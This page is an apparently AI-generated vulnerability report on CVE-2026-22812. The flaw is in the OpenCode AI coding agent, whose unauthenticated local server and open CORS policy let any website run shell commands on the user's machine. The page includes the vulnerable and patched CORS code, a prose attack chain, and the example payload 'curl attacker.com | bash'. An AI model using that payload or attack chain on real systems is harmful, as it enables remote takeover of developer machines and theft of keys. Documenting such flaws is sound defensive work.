CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22812

OpenCode RCE: When Localhost Becomes Public Enemy #1

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 19, 2026·5 min read·749 visits

Executive Summary (TL;DR)

OpenCode versions prior to 1.0.216 exposed a local API server with no authentication and a wildcard CORS policy. This allowed malicious websites to send cross-origin requests to 'localhost:4096', creating a session and executing shell commands with the user's privileges via a simple browser visit.

In the rush to build the ultimate AI coding assistant, the developers of OpenCode forgot one tiny detail: the internet is a hostile place. CVE-2026-22812 is a classic example of implicit trust in 'localhost' gone wrong. By exposing an unauthenticated HTTP server with a permissive CORS policy, OpenCode allowed any website you visited to reach inside your machine and execute arbitrary shell commands. It’s a drive-by shooting, but instead of bullets, it’s JSON payloads, and instead of a getaway car, it’s a browser tab.

The Hook: The AI That Listened to Everyone

We all love AI agents. They write our boilerplate, refactor our messy functions, and occasionally hallucinate libraries that don't exist. To do its job, the OpenCode agent runs a local server on your machine—typically on port 4096. This server is the bridge between the heavy lifting of the AI logic and the UI (your IDE or browser dashboard).

In a perfect world, this local server would only talk to trusted processes. It would demand a secret handshake, a token, or at least a stern look before executing commands. But in the world of OpenCode prior to version 1.0.216, the server was a promiscuous socialite. It didn't care who was asking; it just wanted to be helpful.

The architecture relied on the assumption that "if it's on localhost, it's safe." This is a dangerous fallacy in modern web security. Your browser is a portal to the entire internet, and it has access to localhost. If you don't secure the door, the browser will happily proxy attacks from evil.com straight to your internal services.

The Flaw: CORS and the Missing Bouncer

The root cause here is a delicious cocktail of two failures: Missing Authentication (CWE-306) and Permissive Cross-Origin Resource Sharing (CWE-942).

First, the endpoints. The server exposed /session to create a session and /session/{id}/shell to run shell commands. Neither required a password, a token, or even a polite 'please'. If you could reach the port, you could run the shell.

Second, the real killer: CORS. Browsers have a mechanism called the Same-Origin Policy (SOP) to stop evil.com from reading data from bank.com. However, servers can relax this via CORS headers. The OpenCode developers, likely to avoid friction during development, used a wildcard configuration.

Technically, they used .use(cors()) from the Express/Connect ecosystem without options. This default configuration often reflects the Origin header sent by the client, effectively saying "Yes, I will accept requests from anywhere!" This turned the browser into a confused deputy. A malicious site could instruct your browser to send a POST request to 127.0.0.1:4096. Because the server explicitly replied with "Access-Control-Allow-Origin: *" (or the specific origin), the browser bypassed SOP checks, allowed the request, and handed the response (containing the sensitive Session ID) back to the attacker.

The Code: The Smoking Gun

Let's look at the diff. It's rare to see a fix so simple yet so impactful. The vulnerability existed because the CORS middleware was initialized blindly.

Here is the vulnerable code in packages/opencode/src/server/server.ts:

// The "Come on in, the water's fine" configuration
app.use(cors())

And here is the fix introduced in commit 7d2d87fa2c44e32314015980bb4e59a9386e858c:

app.use(
  cors({
    origin(input) {
      if (!input) return
      // Allow trusted local sources
      if (input.startsWith("http://localhost:")) return input
      if (input.startsWith("http://127.0.0.1:")) return input
      // Allow the official vendor domain
      if (/^https:\/\/([a-z0-9-]+\.)*opencode\.ai$/.test(input)) {
        return input
      }
      // Deny everyone else
      return
    },
  }),
)

Analysis of the Fix: The developers replaced the default behavior with a strict allowlist. Now, the server checks the Origin header. It only permits requests from:

  1. localhost or 127.0.0.1 (other local apps).
  2. Subdomains of opencode.ai (the vendor's cloud dashboard).

If you visit sketchy-site.org, the browser sends the Origin: https://sketchy-site.org header. The new code returns undefined, the CORS check fails, and the browser blocks the request. Crisis averted—mostly.

The Exploit: Weaponizing a Browser Tab

Exploiting this is trivially easy and requires zero specialized tools—just a web page. Here is how an attacker creates a "Drive-By RCE".

The Setup:

  1. The attacker hosts a webpage containing malicious JavaScript.
  2. The victim, running OpenCode in the background, visits the page.

The Attack Chain:

  1. Handshake: The JS sends a POST to /session. Since the server replies with permissive CORS headers, the browser allows the JS to read the response.
  2. Extraction: The JS parses the JSON response to grab the session_id.
  3. Execution: The JS sends a second POST to /session/{session_id}/shell with the payload {"command": "calc.exe"} (or curl attacker.com | bash).

> [!WARNING] > Because this runs with the user's privileges, this isn't just "OpenCode RCE". It is "Your Laptop RCE". The attacker can read your SSH keys, exfiltrate your .env files, or install persistence mechanisms.

The Fix: Closing the Blinds

The remediation is straightforward but urgent. The vendor patched this in version 1.0.216. If you are running an older version, you are currently walking around with a "Kick Me" sign on your back.

Official Fix: Update the package immediately:

npm install -g opencode@latest
# or check your specific package manager

Re-Exploitation Potential (For the Paranoid): The fix relies on checking the Origin header. While robust against random websites, there are edge cases:

  1. DNS Rebinding: If an attacker controls a subdomain of opencode.ai (unlikely, but possible via subdomain takeover), they could bypass the regex.
  2. Local Network Exposure: The patch fixes the web vector, but if the server listens on 0.0.0.0 (all interfaces) rather than just loopback, other devices on your WiFi could still directly interact with the API via non-browser tools (curl/python), as CORS is purely a browser-side protection mechanism. Always ensure your firewall blocks port 4096 from external traffic.

Official Patches

GitHubCommit fixing the CORS vulnerability

Fix Analysis (1)

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Probability
3.09%
Top 14% most exploited

Affected Systems

OpenCode AI Agent < 1.0.216Developer Workstations (Windows, macOS, Linux)

Affected Versions Detail

Product
Affected Versions
Fixed Version
OpenCode
anomalyco
< 1.0.2161.0.216
AttributeDetail
CWE IDCWE-942 (Permissive CORS) & CWE-306 (Missing Auth)
Attack VectorNetwork (Drive-by Web)
CVSS8.8 (High)
ImpactUnauthenticated Remote Code Execution
Exploit StatusHigh / Public PoC Available
Patch StatusFixed in 1.0.216

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059Command and Scripting Interpreter
Execution
CWE-942
Permissive Cross-domain Policy with Untrusted Domains

Known Exploits & Detection

GitHubInteractive shell exploit toolkit
NucleiDetection template for CVE-2026-22812

Vulnerability Timeline

Vulnerability reported to vendor
2025-11-17
Patch committed to main branch
2025-12-30
CVE-2026-22812 published
2026-01-12
Public PoC released
2026-01-18

References & Sources

  • [1]GHSA Advisory
  • [2]NVD Entry

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 8 hours ago•CVE-2026-53653
8.7

CVE-2026-53653: Unauthenticated Denial of Service via Unbounded Image Derivative Dimensions in Grav CMS

Grav CMS prior to version 1.7.53 and 2.0.0-rc.8 is vulnerable to an unauthenticated remote denial of service (DoS) vulnerability. By supplying crafted query parameters with extremely large dimensions to image assets, remote unauthenticated attackers can force the server to allocate massive amounts of system memory, leading to kernel Out-Of-Memory (OOM) termination of web worker processes.

Amit Schendel
Amit Schendel
5 views•7 min read
•about 9 hours ago•CVE-2026-53657
8.2

CVE-2026-53657: Privilege Escalation via Overly Permissive Unix Domain Socket in Lima Guest Agent

CVE-2026-53657 is a local privilege escalation vulnerability in Lima (lima-vm/lima) affecting versions prior to 2.1.3 when configured with the QEMU driver. The guest agent daemon, running as root, creates its communication socket `/run/lima-guestagent.sock` with world-writable permissions (0777). This allows unprivileged local users to command the agent to establish arbitrary tunnels, including to privileged local UNIX sockets (like D-Bus). Because the target daemon authenticates the incoming connection using the credentials of the root-owned guest agent (via SO_PEERCRED), unprivileged users can perform root operations, resulting in complete guest VM compromise.

Amit Schendel
Amit Schendel
3 views•9 min read
•about 10 hours ago•CVE-2026-10740
5.3

CVE-2026-10740: Denial of Service in s2n-quic CryptoStream Reassembly

An unauthenticated Denial of Service vulnerability exists in the s2n-quic library's CryptoStream reassembler due to a lack of buffer limits on out-of-order cryptographic frames. An attacker can transmit a crafted CRYPTO frame with an extremely high offset and nominal payload, forcing the receiver to execute unbounded memory allocations and causing service crashes.

Amit Schendel
Amit Schendel
3 views•7 min read
•about 11 hours ago•CVE-2026-55153
7.1

CVE-2026-55153: JNDI Injection and Deserialization Gadget Abuse in mchange-commons-java

A JNDI Injection and Deserialization Gadget vulnerability exists in mchange-commons-java prior to version 0.6.0. The com.mchange.v2.naming.JavaBeanObjectFactory component permits arbitrary class instantiation and setter invocation, allowing attackers to perform Server-Side Request Forgery (SSRF) and remote class loading.

Alon Barad
Alon Barad
6 views•5 min read
•about 12 hours ago•GHSA-8RW6-P7M8-63JP
6.5

GHSA-8RW6-P7M8-63JP: Array Element-Level SELECT Permissions Leak in SurrealDB

SurrealDB versions supporting element-level SELECT permissions on arrays are vulnerable to a logical authorization bypass. Due to an index-shifting error during array filtration, restricted elements can skip permission checks and leak to unauthorized record users.

Alon Barad
Alon Barad
6 views•6 min read
•1 day ago•CVE-2026-12243
7.5

CVE-2026-12243: Incomplete Path Traversal Validation and Percent-Encoding Bypass in NLTK

CVE-2026-12243 is a path traversal vulnerability in the Natural Language Toolkit (NLTK) version 3.9.4. The flaw exists because the input validation routine fails to account for percent-encoded directory traversal sequences like '..%2f' before passing them to urllib.request.url2pathname(), which decodes them into active traversal sequences.

Amit Schendel
Amit Schendel
5 views•8 min read